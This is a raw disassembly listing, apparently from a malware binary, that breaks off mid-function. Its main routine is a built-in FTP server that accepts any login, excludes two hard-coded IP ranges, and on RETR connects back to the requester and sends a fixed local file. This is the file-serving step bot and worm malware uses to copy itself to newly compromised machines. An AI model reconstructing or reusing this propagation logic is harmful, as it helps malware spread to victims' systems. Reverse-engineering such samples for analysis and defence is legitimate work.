; Attributes: bp-based frame
sub_10005A2D proc near ; DATA XREF: .data:1000E030o
push ebp
mov ebp, esp
call sub_10005A3C
call sub_10005A4C
pop ebp
retn
sub_10005A2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10005A3C proc near ; CODE XREF: sub_10005A2D+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D100
call ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
pop ebp
retn
sub_10005A3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10005A4C proc near ; CODE XREF: sub_10005A2D+8p
push ebp
mov ebp, esp
push offset sub_10005A5E ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_10005A4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10005A5E()
sub_10005A5E proc near ; DATA XREF: sub_10005A4C+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D100
call ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
pop ebp
retn
sub_10005A5E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10005A70(char *cp,u_short hostshort)
sub_10005A70 proc near ; CODE XREF: sub_10005C3D+B05p
name = sockaddr ptr -10h
cp = dword ptr 8
hostshort = word ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0 ; protocol
push 1 ; type
push 2 ; af
call ds:socket ; socket
mov dword_1002D10C, eax
mov [ebp+name.sa_family], 2
mov eax, [ebp+cp]
push eax ; cp
call ds:inet_addr ; inet_addr
mov dword ptr [ebp+name.sa_data+2], eax
mov cx, [ebp+hostshort]
push ecx ; hostshort
call ds:htons ; htons
mov word ptr [ebp+name.sa_data], ax
push 8 ; Size
push 0 ; Val
lea edx, [ebp+name.sa_data+6]
push edx ; Dst
call memset ; memset
add esp, 0Ch
push 10h ; namelen
lea eax, [ebp+name]
push eax ; name
mov ecx, dword_1002D10C
push ecx ; s
call ds:connect ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_10005AE2
mov edx, dword_1002D10C
push edx ; s
call ds:closesocket ; closesocket
xor al, al
jmp short loc_10005AE4
; ---------------------------------------------------------------------------
loc_10005AE2: ; CODE XREF: sub_10005A70+5Fj
mov al, 1
loc_10005AE4: ; CODE XREF: sub_10005A70+70j
mov esp, ebp
pop ebp
retn
sub_10005A70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10005AE8 proc near ; CODE XREF: sub_10005C3D+B16p
var_518 = dword ptr -518h
NumberOfBytesRead= dword ptr -514h
FileName = byte ptr -510h
hObject = dword ptr -410h
Dst = byte ptr -40Ch
lDistanceToMove = dword ptr -0Ch
var_8 = dword ptr -8
len = dword ptr -4
push ebp
mov ebp, esp
sub esp, 518h
mov [ebp+len], 400h
mov [ebp+NumberOfBytesRead], 0
push 100h ; Count
push offset ExistingFileName ; Source
lea eax, [ebp+FileName]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 1 ; dwShareMode
push 80000000h ; dwDesiredAccess
lea ecx, [ebp+FileName]
push ecx ; lpFileName
call ds:CreateFileA ; CreateFileA
mov [ebp+hObject], eax
cmp [ebp+hObject], 0FFFFFFFFh
jnz short loc_10005B4E
xor al, al
jmp loc_10005C39
; ---------------------------------------------------------------------------
loc_10005B4E: ; CODE XREF: sub_10005AE8+5Dj
push 0 ; lpFileSizeHigh
mov edx, [ebp+hObject]
push edx ; hFile
call ds:GetFileSize ; GetFileSize
mov [ebp+var_8], eax
loc_10005B60: ; CODE XREF: sub_10005AE8+131j
cmp [ebp+var_8], 0
jz loc_10005C1E
push 400h ; Size
push 0 ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call memset ; memset
add esp, 0Ch
mov ecx, [ebp+len]
cmp ecx, [ebp+var_8]
jbe short loc_10005B8E
mov edx, [ebp+var_8]
mov [ebp+len], edx
loc_10005B8E: ; CODE XREF: sub_10005AE8+9Ej
xor eax, eax
sub eax, [ebp+var_8]
mov [ebp+lDistanceToMove], eax
push 2 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
mov ecx, [ebp+lDistanceToMove]
push ecx ; lDistanceToMove
mov edx, [ebp+hObject]
push edx ; hFile
call ds:SetFilePointer ; SetFilePointer
push 0 ; lpOverlapped
lea eax, [ebp+NumberOfBytesRead]
push eax ; lpNumberOfBytesRead
mov ecx, [ebp+len]
push ecx ; nNumberOfBytesToRead
lea edx, [ebp+Dst]
push edx ; lpBuffer
mov eax, [ebp+hObject]
push eax ; hFile
call ds:ReadFile ; ReadFile
push 0 ; flags
mov ecx, [ebp+len]
push ecx ; len
lea edx, [ebp+Dst]
push edx ; buf
mov eax, dword_1002D10C
push eax ; s
call ds:send ; send
mov [ebp+var_518], eax
cmp [ebp+var_518], 0FFFFFFFFh
jnz short loc_10005C0D
call ds:WSAGetLastError ; WSAGetLastError
cmp eax, 2733h
jz short loc_10005C03
jmp short loc_10005C1E
; ---------------------------------------------------------------------------
loc_10005C03: ; CODE XREF: sub_10005AE8+117j
mov [ebp+var_518], 0
loc_10005C0D: ; CODE XREF: sub_10005AE8+10Aj
mov ecx, [ebp+var_8]
sub ecx, [ebp+var_518]
mov [ebp+var_8], ecx
jmp loc_10005B60
; ---------------------------------------------------------------------------
loc_10005C1E: ; CODE XREF: sub_10005AE8+7Cj
; sub_10005AE8+119j
mov edx, [ebp+hObject]
push edx ; hObject
call ds:CloseHandle ; CloseHandle
mov eax, dword_1002D10C
push eax ; s
call ds:closesocket ; closesocket
mov al, 1
loc_10005C39: ; CODE XREF: sub_10005AE8+61j
mov esp, ebp
pop ebp
retn
sub_10005AE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10005C3D proc near ; DATA XREF: sub_10009C30+6Do
var_5A4 = dword ptr -5A4h
var_5A0 = dword ptr -5A0h
var_59C = dword ptr -59Ch
var_598 = byte ptr -598h
var_594 = byte ptr -594h
var_574 = byte ptr -574h
var_55C = byte ptr -55Ch
var_530 = byte ptr -530h
var_510 = byte ptr -510h
var_4F8 = byte ptr -4F8h
var_4CC = dword ptr -4CCh
var_4C8 = dword ptr -4C8h
var_4C4 = dword ptr -4C4h
var_4C0 = dword ptr -4C0h
var_4BC = word ptr -4BCh
var_4BA = byte ptr -4BAh
var_4B8 = dword ptr -4B8h
var_4B4 = dword ptr -4B4h
var_4B0 = dword ptr -4B0h
var_4AC = dword ptr -4ACh
var_4A8 = word ptr -4A8h
var_4A6 = byte ptr -4A6h
var_4A4 = byte ptr -4A4h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = word ptr -46Ch
var_468 = byte ptr -468h
Str = byte ptr -454h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
buf = byte ptr -434h
var_41C = dword ptr -41Ch
argp = dword ptr -418h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
readfds = fd_set ptr -40Ch
netlong = sockaddr ptr -308h
optval = byte ptr -2F8h
fd = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
Str2 = byte ptr -2ECh
var_288 = byte ptr -288h
hostshort = word ptr -254h
Dest = byte ptr -250h
s = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = byte ptr -214h
name = sockaddr ptr -1B0h
var_1A0 = dword ptr -1A0h
addrlen = dword ptr -19Ch
cp = byte ptr -198h
var_188 = dword ptr -188h
var_184 = dword ptr -184h
var_180 = dword ptr -180h
var_17C = byte ptr -17Ch
var_178 = dword ptr -178h
var_174 = byte ptr -174h
Dst = byte ptr -170h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
push esi
push edi
mov dword ptr [ebp+optval], 1
mov [ebp+argp], 1
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_188], ecx
mov edx, [eax+4]
mov [ebp+var_184], edx
mov eax, [eax+8]
mov [ebp+var_180], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_1A0], ecx
mov edx, [ebp+var_1A0]
mov byte ptr [edx+6], 1
mov [ebp+var_104], 0
mov [ebp+readfds.fd_count], 0
mov ax, word ptr [ebp+var_184]
mov hostshort, ax
push 0 ; protocol
push 1 ; type
push 2 ; af
call ds:socket ; socket
mov [ebp+s], eax
push 4 ; optlen
lea ecx, [ebp+optval]
push ecx ; optval
push 4 ; optname
push 0FFFFh ; level
mov edx, [ebp+s]
push edx ; s
call ds:setsockopt ; setsockopt
lea eax, [ebp+argp]
push eax ; argp
push 8004667Eh ; cmd
mov ecx, [ebp+s]
push ecx ; s
call ds:ioctlsocket ; ioctlsocket
mov [ebp+name.sa_family], 2
mov dword ptr [ebp+name.sa_data+2], 0
mov dx, hostshort
push edx ; hostshort
call ds:htons ; htons
mov word ptr [ebp+name.sa_data], ax
push 8 ; Size
push 0 ; Val
lea eax, [ebp+name.sa_data+6]
push eax ; Dst
call memset ; memset
add esp, 0Ch
push 10h ; namelen
lea ecx, [ebp+name]
push ecx ; name
mov edx, [ebp+s]
push edx ; s
call ds:bind ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_10005D67
push 1
mov eax, [ebp+var_188]
push eax
call sub_1000AB26
add esp, 8
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
loc_10005D67: ; CODE XREF: sub_10005C3D+10Cj
push 0Ah ; backlog
mov ecx, [ebp+s]
push ecx ; s
call ds:listen ; listen
loc_10005D76: ; CODE XREF: sub_10005C3D+1B8j
mov [ebp+var_41C], 0
jmp short loc_10005D91
; ---------------------------------------------------------------------------
loc_10005D82: ; CODE XREF: sub_10005C3D:loc_10005DB6j
mov edx, [ebp+var_41C]
add edx, 1
mov [ebp+var_41C], edx
loc_10005D91: ; CODE XREF: sub_10005C3D+143j
mov eax, [ebp+var_41C]
cmp eax, [ebp+var_104]
jnb short loc_10005DB8
mov ecx, [ebp+var_41C]
mov edx, [ebp+ecx*4+var_100]
cmp edx, [ebp+s]
jnz short loc_10005DB6
jmp short loc_10005DB8
; ---------------------------------------------------------------------------
loc_10005DB6: ; CODE XREF: sub_10005C3D+175j
jmp short loc_10005D82
; ---------------------------------------------------------------------------
loc_10005DB8: ; CODE XREF: sub_10005C3D+160j
; sub_10005C3D+177j
mov eax, [ebp+var_41C]
cmp eax, [ebp+var_104]
jnz short loc_10005DF1
cmp [ebp+var_104], 40h
jnb short loc_10005DF1
mov ecx, [ebp+var_41C]
mov edx, [ebp+s]
mov [ebp+ecx*4+var_100], edx
mov eax, [ebp+var_104]
add eax, 1
mov [ebp+var_104], eax
loc_10005DF1: ; CODE XREF: sub_10005C3D+187j
; sub_10005C3D+190j
xor ecx, ecx
test ecx, ecx
jnz loc_10005D76
mov edx, [ebp+s]
mov [ebp+var_178], edx
loc_10005E07: ; CODE XREF: sub_10005C3D:loc_10006868j
mov eax, 1
test eax, eax
jz loc_1000686D
mov ecx, 41h
lea esi, [ebp+var_104]
lea edi, [ebp+readfds]
rep movsd
push 0 ; timeout
push 0 ; exceptfds
push 0 ; writefds
lea ecx, [ebp+readfds]
push ecx ; readfds
mov edx, [ebp+var_178]
add edx, 1
push edx ; nfds
call ds:select ; select
cmp eax, 0FFFFFFFFh
jnz short loc_10005E65
push 1
mov eax, [ebp+var_188]
push eax
call sub_1000AB26
add esp, 8
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
loc_10005E65: ; CODE XREF: sub_10005C3D+20Aj
mov [ebp+fd], 0
jmp short loc_10005E80
; ---------------------------------------------------------------------------
loc_10005E71: ; CODE XREF: sub_10005C3D+33Dj
; sub_10005C3D+38Cj ...
mov ecx, [ebp+fd]
add ecx, 1
mov [ebp+fd], ecx
loc_10005E80: ; CODE XREF: sub_10005C3D+232j
mov edx, [ebp+fd]
cmp edx, [ebp+var_178]
jg loc_10006868
push 64h ; Size
push 0 ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call memset ; memset
add esp, 0Ch
push 64h ; Size
push 0 ; Val
lea ecx, [ebp+Str2]
push ecx ; Dst
call memset ; memset
add esp, 0Ch
lea edx, [ebp+readfds]
push edx ; fd_set *
mov eax, [ebp+fd]
push eax ; fd
call __WSAFDIsSet ; __WSAFDIsSet
test eax, eax
jz loc_10006863
mov ecx, [ebp+fd]
cmp ecx, [ebp+s]
jnz loc_10006098
mov [ebp+addrlen], 10h
lea edx, [ebp+addrlen]
push edx ; addrlen
lea eax, [ebp+netlong]
push eax ; addr
mov ecx, [ebp+s]
push ecx ; s
call ds:accept ; accept
mov [ebp+var_410], eax
cmp [ebp+var_410], 0FFFFFFFFh
jz loc_10006093
mov ecx, 5
mov esi, offset a220WelcomeToFt ; "220 Welcome to FTPd\n"
lea edi, [ebp+buf]
rep movsd
movsb
mov edx, dword ptr [ebp+netlong.sa_data+2]
push edx ; netlong
call ds:ntohl ; ntohl
mov esi, eax
push offset cp ; "61.251.128.0"
call ds:inet_addr ; inet_addr
push eax ; netlong
call ds:ntohl ; ntohl
cmp esi, eax
jb short loc_10005F7F
mov eax, dword ptr [ebp+netlong.sa_data+2]
push eax ; netlong
call ds:ntohl ; ntohl
mov esi, eax
push offset a61_251_128_255 ; "61.251.128.255"
call ds:inet_addr ; inet_addr
push eax ; netlong
call ds:ntohl ; ntohl
cmp esi, eax
ja short loc_10005F7F
jmp loc_10005E71
; ---------------------------------------------------------------------------
loc_10005F7F: ; CODE XREF: sub_10005C3D+316j
; sub_10005C3D+33Bj
mov ecx, dword ptr [ebp+netlong.sa_data+2]
push ecx ; netlong
call ds:ntohl ; ntohl
mov esi, eax
push offset a210_93_224_0 ; "210.93.224.0"
call ds:inet_addr ; inet_addr
push eax ; netlong
call ds:ntohl ; ntohl
cmp esi, eax
jb short loc_10005FCE
mov edx, dword ptr [ebp+netlong.sa_data+2]
push edx ; netlong
call ds:ntohl ; ntohl
mov esi, eax
push offset a210_93_224_255 ; "210.93.224.255"
call ds:inet_addr ; inet_addr
push eax ; netlong
call ds:ntohl ; ntohl
cmp esi, eax
ja short loc_10005FCE
jmp loc_10005E71
; ---------------------------------------------------------------------------
loc_10005FCE: ; CODE XREF: sub_10005C3D+365j
; sub_10005C3D+38Aj ...
mov [ebp+var_438], 0
jmp short loc_10005FE9
; ---------------------------------------------------------------------------
loc_10005FDA: ; CODE XREF: sub_10005C3D:loc_1000600Ej
mov eax, [ebp+var_438]
add eax, 1
mov [ebp+var_438], eax
loc_10005FE9: ; CODE XREF: sub_10005C3D+39Bj
mov ecx, [ebp+var_438]
cmp ecx, [ebp+var_104]
jnb short loc_10006010
mov edx, [ebp+var_438]
mov eax, [ebp+edx*4+var_100]
cmp eax, [ebp+var_410]
jnz short loc_1000600E
jmp short loc_10006010
; ---------------------------------------------------------------------------
loc_1000600E: ; CODE XREF: sub_10005C3D+3CDj
jmp short loc_10005FDA
; ---------------------------------------------------------------------------
loc_10006010: ; CODE XREF: sub_10005C3D+3B8j
; sub_10005C3D+3CFj
mov ecx, [ebp+var_438]
cmp ecx, [ebp+var_104]
jnz short loc_10006049
cmp [ebp+var_104], 40h
jnb short loc_10006049
mov edx, [ebp+var_438]
mov eax, [ebp+var_410]
mov [ebp+edx*4+var_100], eax
mov ecx, [ebp+var_104]
add ecx, 1
mov [ebp+var_104], ecx
loc_10006049: ; CODE XREF: sub_10005C3D+3DFj
; sub_10005C3D+3E8j
xor edx, edx
test edx, edx
jnz loc_10005FCE
mov eax, [ebp+var_410]
cmp eax, [ebp+var_178]
jle short loc_1000606D
mov ecx, [ebp+var_410]
mov [ebp+var_178], ecx
loc_1000606D: ; CODE XREF: sub_10005C3D+422j
push 0 ; flags
lea edx, [ebp+buf]
push edx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, [ebp+var_410]
push ecx ; s
call ds:send ; send
loc_10006093: ; CODE XREF: sub_10005C3D+2DAj
jmp loc_10006863
; ---------------------------------------------------------------------------
loc_10006098: ; CODE XREF: sub_10005C3D+2A2j
push 0 ; flags
push 64h ; len
lea edx, [ebp+Dst]
push edx ; buf
mov eax, [ebp+fd]
push eax ; s
call ds:recv ; recv
mov [ebp+var_2F0], eax
cmp [ebp+var_2F0], 0
jg loc_1000616F
loc_100060C3: ; CODE XREF: sub_10005C3D+51Aj
mov [ebp+var_43C], 0
jmp short loc_100060DE
; ---------------------------------------------------------------------------
loc_100060CF: ; CODE XREF: sub_10005C3D:loc_1000614Ej
mov ecx, [ebp+var_43C]
add ecx, 1
mov [ebp+var_43C], ecx
loc_100060DE: ; CODE XREF: sub_10005C3D+490j
mov edx, [ebp+var_43C]
cmp edx, [ebp+var_104]
jnb short loc_10006153
mov eax, [ebp+var_43C]
mov ecx, [ebp+eax*4+var_100]
cmp ecx, [ebp+fd]
jnz short loc_1000614E
loc_10006101: ; CODE XREF: sub_10005C3D+4FEj
mov edx, [ebp+var_104]
sub edx, 1
cmp [ebp+var_43C], edx
jnb short loc_1000613D
mov eax, [ebp+var_43C]
mov ecx, [ebp+var_43C]
mov edx, [ebp+ecx*4+var_FC]
mov [ebp+eax*4+var_100], edx
mov eax, [ebp+var_43C]
add eax, 1
mov [ebp+var_43C], eax
jmp short loc_10006101
; ---------------------------------------------------------------------------
loc_1000613D: ; CODE XREF: sub_10005C3D+4D3j
mov ecx, [ebp+var_104]
sub ecx, 1
mov [ebp+var_104], ecx
jmp short loc_10006153
; ---------------------------------------------------------------------------
loc_1000614E: ; CODE XREF: sub_10005C3D+4C2j
jmp loc_100060CF
; ---------------------------------------------------------------------------
loc_10006153: ; CODE XREF: sub_10005C3D+4ADj
; sub_10005C3D+50Fj
xor edx, edx
test edx, edx
jnz loc_100060C3
mov eax, [ebp+fd]
push eax ; s
call ds:closesocket ; closesocket
jmp loc_10006863
; ---------------------------------------------------------------------------
loc_1000616F: ; CODE XREF: sub_10005C3D+480j
lea ecx, [ebp+var_214]
push ecx
lea edx, [ebp+Str2]
push edx
push offset aSS_7 ; "%s %s"
lea eax, [ebp+Dst]
push eax ; Src
call ds:sscanf ; sscanf
add esp, 10h
lea ecx, [ebp+Str2]
push ecx ; Str2
push offset Str1 ; "USER"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_100061EA
mov ecx, 5
mov esi, offset a331PasswordReq ; "331 Password required\n"
lea edi, [ebp+Str]
rep movsd
movsw
movsb
push 0 ; flags
lea edx, [ebp+Str]
push edx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+Str]
push eax ; buf
mov ecx, [ebp+fd]
push ecx ; s
call ds:send ; send
jmp loc_10006850
; ---------------------------------------------------------------------------
loc_100061EA: ; CODE XREF: sub_10005C3D+56Bj
lea edx, [ebp+Str2]
push edx ; Str2
push offset aPass ; "PASS"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_1000623F
mov ecx, 5
mov esi, offset a230UserLoggedI ; "230 User logged in\n"
lea edi, [ebp+var_468]
rep movsd
push 0 ; flags
lea eax, [ebp+var_468]
push eax ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea ecx, [ebp+var_468]
push ecx ; buf
mov edx, [ebp+fd]
push edx ; s
call ds:send ; send
jmp loc_10006850
; ---------------------------------------------------------------------------
loc_1000623F: ; CODE XREF: sub_10005C3D+5C3j
lea eax, [ebp+Str2]
push eax ; Str2
push offset aSyst ; "SYST"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_100062A7
mov ecx, dword_10011F34
mov [ebp+var_474], ecx
mov edx, dword_10011F38
mov [ebp+var_470], edx
mov ax, word_10011F3C
mov [ebp+var_46C], ax
push 0 ; flags
lea ecx, [ebp+var_474]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+var_474]
push edx ; buf
mov eax, [ebp+fd]
push eax ; s
call ds:send ; send
jmp loc_10006850
; ---------------------------------------------------------------------------
loc_100062A7: ; CODE XREF: sub_10005C3D+618j
lea ecx, [ebp+Str2]
push ecx ; Str2
push offset aRest ; "REST"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_10006319
mov edx, dword_10011F48
mov [ebp+var_484], edx
mov eax, dword_10011F4C
mov [ebp+var_480], eax
mov ecx, dword_10011F50
mov [ebp+var_47C], ecx
mov edx, dword_10011F54
mov [ebp+var_478], edx
push 0 ; flags
lea eax, [ebp+var_484]
push eax ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea ecx, [ebp+var_484]
push ecx ; buf
mov edx, [ebp+fd]
push edx ; s
call ds:send ; send
jmp loc_10006850
; ---------------------------------------------------------------------------
loc_10006319: ; CODE XREF: sub_10005C3D+680j
lea eax, [ebp+Str2]
push eax ; Str2
push offset aPwd ; "PWD"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_10006370
mov ecx, 7
mov esi, offset a257IsCurrentDi ; "257 \"/\" is current directory\n"
lea edi, [ebp+var_4A4]
rep movsd
movsw
push 0 ; flags
lea ecx, [ebp+var_4A4]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+var_4A4]
push edx ; buf
mov eax, [ebp+fd]
push eax ; s
call ds:send ; send
jmp loc_10006850
; ---------------------------------------------------------------------------
loc_10006370: ; CODE XREF: sub_10005C3D+6F2j
lea ecx, [ebp+Str2]
push ecx ; Str2
push offset aType ; "TYPE"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz loc_10006417
lea edx, [ebp+var_214]
push edx ; Str2
push offset aA ; "A"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_10006417
mov eax, dword_10011F88
mov [ebp+var_4B8], eax
mov ecx, dword_10011F8C
mov [ebp+var_4B4], ecx
mov edx, dword_10011F90
mov [ebp+var_4B0], edx
mov eax, dword_10011F94
mov [ebp+var_4AC], eax
mov cx, word_10011F98
mov [ebp+var_4A8], cx
mov dl, byte_10011F9A
mov [ebp+var_4A6], dl
push 0 ; flags
lea eax, [ebp+var_4B8]
push eax ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea ecx, [ebp+var_4B8]
push ecx ; buf
mov edx, [ebp+fd]
push edx ; s
call ds:send ; send
jmp loc_10006850
; ---------------------------------------------------------------------------
loc_10006417: ; CODE XREF: sub_10005C3D+749j
; sub_10005C3D+765j
lea eax, [ebp+Str2]
push eax ; Str2
push offset aType_0 ; "TYPE"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz loc_100064BE
lea ecx, [ebp+var_214]
push ecx ; Str2
push offset aI ; "I"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_100064BE
mov edx, dword_10011FA8
mov [ebp+var_4CC], edx
mov eax, dword_10011FAC
mov [ebp+var_4C8], eax
mov ecx, dword_10011FB0
mov [ebp+var_4C4], ecx
mov edx, dword_10011FB4
mov [ebp+var_4C0], edx
mov ax, word_10011FB8
mov [ebp+var_4BC], ax
mov cl, byte_10011FBA
mov [ebp+var_4BA], cl
push 0 ; flags
lea edx, [ebp+var_4CC]
push edx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+var_4CC]
push eax ; buf
mov ecx, [ebp+fd]
push ecx ; s
call ds:send ; send
jmp loc_10006850
; ---------------------------------------------------------------------------
loc_100064BE: ; CODE XREF: sub_10005C3D+7F0j
; sub_10005C3D+80Cj
lea edx, [ebp+Str2]
push edx ; Str2
push offset aPasv ; "PASV"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_10006515
mov ecx, 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
lea edi, [ebp+var_4F8]
rep movsd
movsw
push 0 ; flags
lea eax, [ebp+var_4F8]
push eax ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea ecx, [ebp+var_4F8]
push ecx ; buf
mov edx, [ebp+fd]
push edx ; s
call ds:send ; send
jmp loc_10006850
; ---------------------------------------------------------------------------
loc_10006515: ; CODE XREF: sub_10005C3D+897j
lea eax, [ebp+Str2]
push eax ; Str2
push offset aList ; "LIST"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_1000656D
mov ecx, 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
lea edi, [ebp+var_510]
rep movsd
movsw
movsb
push 0 ; flags
lea ecx, [ebp+var_510]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+var_510]
push edx ; buf
mov eax, [ebp+fd]
push eax ; s
call ds:send ; send
jmp loc_10006850
; ---------------------------------------------------------------------------
loc_1000656D: ; CODE XREF: sub_10005C3D+8EEj
lea ecx, [ebp+Str2]
push ecx ; Str2
push offset aPort ; "PORT"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz loc_100066B7
mov ecx, 7
mov esi, offset a200PortCommand ; "200 PORT command successful\n"
lea edi, [ebp+var_530]
rep movsd
movsb
lea edx, [ebp+var_288]
push edx
lea eax, [ebp+Dest]
push eax
lea ecx, [ebp+var_17C]
push ecx
lea edx, [ebp+var_174]
push edx
lea eax, [ebp+var_10C]
push eax
lea ecx, [ebp+var_108]
push ecx
push offset aS_0 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
lea edx, [ebp+Dst]
push edx ; Src
call ds:sscanf ; sscanf
add esp, 20h
lea eax, [ebp+Dest]
push eax ; Str
call ds:atoi ; atoi
add esp, 4
mov [ebp+var_218], eax
lea ecx, [ebp+var_288]
push ecx ; Str
call ds:atoi ; atoi
add esp, 4
mov [ebp+var_414], eax
push 32h ; Size
push 0 ; Val
lea edx, [ebp+Dest]
push edx ; Dst
call memset ; memset
add esp, 0Ch
mov eax, [ebp+var_414]
push eax
mov ecx, [ebp+var_218]
push ecx
push offset aXX ; "%x%x\n"
push 32h ; Count
lea edx, [ebp+Dest]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 14h
push 10h ; Radix
push 0 ; EndPtr
lea eax, [ebp+Dest]
push eax ; Str
call ds:strtoul ; strtoul
add esp, 0Ch
mov dword ptr [ebp+hostshort], eax
lea ecx, [ebp+var_17C]
push ecx
lea edx, [ebp+var_174]
push edx
lea eax, [ebp+var_10C]
push eax
lea ecx, [ebp+var_108]
push ecx
push offset aS_S_S_S ; "%s.%s.%s.%s"
push 10h ; Count
lea edx, [ebp+cp]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
push 0 ; flags
lea eax, [ebp+var_530]
push eax ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea ecx, [ebp+var_530]
push ecx ; buf
mov edx, [ebp+fd]
push edx ; s
call ds:send ; send
jmp loc_10006850
; ---------------------------------------------------------------------------
loc_100066B7: ; CODE XREF: sub_10005C3D+946j
lea eax, [ebp+Str2]
push eax ; Str2
push offset aRetr ; "RETR"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz loc_100067E3
mov ecx, 0Ah
mov esi, offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
lea edi, [ebp+var_55C]
rep movsd
movsb
mov ecx, 5
mov esi, offset a226TransferC_0 ; "226 Transfer complete\n"
lea edi, [ebp+var_574]
rep movsd
movsw
movsb
mov ecx, 8
mov esi, offset a425CanTOpenDat ; "425 Can't open data connection\n"
lea edi, [ebp+var_594]
rep movsd
push 0 ; flags
lea ecx, [ebp+var_55C]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+var_55C]
push edx ; buf
mov eax, [ebp+fd]
push eax ; s
call ds:send ; send
mov cx, [ebp+hostshort]
push ecx ; hostshort
lea edx, [ebp+cp]
push edx ; cp
call sub_10005A70
add esp, 8
and eax, 0FFh
test eax, eax
jz short loc_100067BB
call sub_10005AE8
and eax, 0FFh
test eax, eax
jz short loc_100067B9
push 0 ; flags
lea eax, [ebp+var_574]
push eax ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea ecx, [ebp+var_574]
push ecx ; buf
mov edx, [ebp+fd]
push edx ; s
call ds:send ; send
mov eax, dword_1002D0EC
add eax, 1
mov dword_1002D0EC, eax
xor ecx, ecx
mov cl, byte_1002D0F5
test ecx, ecx
jz short loc_100067B9
lea edx, [ebp+cp]
push edx ; char
push offset aFtpTransferCom ; "ftp transfer complete to %s"
push offset dword_1002C7E8 ; int
call sub_10007303
add esp, 0Ch
loc_100067B9: ; CODE XREF: sub_10005C3D+B22j
; sub_10005C3D+B61j
jmp short loc_100067E1
; ---------------------------------------------------------------------------
loc_100067BB: ; CODE XREF: sub_10005C3D+B14j
push 0 ; flags
lea eax, [ebp+var_594]
push eax ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea ecx, [ebp+var_594]
push ecx ; buf
mov edx, [ebp+fd]
push edx ; s
call ds:send ; send
loc_100067E1: ; CODE XREF: sub_10005C3D:loc_100067B9j
jmp short loc_10006850
; ---------------------------------------------------------------------------
loc_100067E3: ; CODE XREF: sub_10005C3D+A90j
lea eax, [ebp+Str2]
push eax ; Str2
push offset aQuit_0 ; "QUIT"
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_10006850
mov ecx, dword_10012104
mov [ebp+var_5A4], ecx
mov edx, dword_10012108
mov [ebp+var_5A0], edx
mov eax, dword_1001210C
mov [ebp+var_59C], eax
mov cl, byte_10012110
mov [ebp+var_598], cl
push 0 ; flags
lea edx, [ebp+var_5A4]
push edx ; Str
